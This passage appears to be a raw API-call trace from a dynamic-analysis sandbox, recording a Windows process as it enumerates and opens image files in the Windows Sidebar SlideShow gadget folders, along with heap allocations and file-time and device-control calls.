(hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.906] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.906] NtClose (Handle=0x174) returned 0x0 [0080.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0080.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0080.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230898 [0080.907] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0080.907] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.907] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0080.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12309a0 [0080.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff658 [0080.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230aa8 [0080.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.909] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff678 [0080.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230bb0 [0080.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.910] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0080.910] GetLastError () returned 0x12 [0080.910] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.910] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.910] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.910] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5e5243, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d5e5243, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d5e5243, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0080.910] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0080.910] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85af78c5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85af78c5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d761fef, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0080.910] GetLastError () returned 0x12 [0080.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230898) returned 1 [0080.910] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12309a0) returned 1 [0080.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0080.911] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d78814d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d78814d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0080.911] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85a854ae, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85a854ae, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d78814d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0080.911] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85aab60b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85aab60b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3d9c35cf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0080.911] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="")) returned 1 [0080.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0080.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.911] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0080.911] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0080.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0080.912] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0080.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0080.912] NtClose (Handle=0x168) returned 0x0 [0080.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0080.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230790 [0080.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12309a0 [0080.913] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0080.913] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.913] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0080.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0080.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230898 [0080.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ff698 [0080.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1230cb8 [0080.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0080.914] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0080.915] GetLastError () returned 0x12 [0080.915] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0080.915] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9e972d, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x3d9e972d, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x3d9e972d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0080.915] GetLastError () returned 0x12 [0080.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12309a0) returned 1 [0080.915] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0080.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230898) returned 1 [0080.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1230790) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b69cdc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b69cdc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da0f88b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_hov.png", cAlternateFileName="")) returned 1 [0080.915] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b8fe39, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85b8fe39, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb11, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_rest.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da359e9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_down.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bb5f96, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bb5f96, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3da81ca5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_hov.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85bdc0f3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85bdc0f3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daa7e03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb46, dwReserved0=0x0, dwReserved1=0x0, cFileName="play_rest.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc05, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_hov.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb58, dwReserved0=0x0, dwReserved1=0x0, cFileName="prev_rest.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_down.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_hov.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c283ad, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c283ad, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0080.916] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ad1768, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85ad1768, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3db1a21d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, 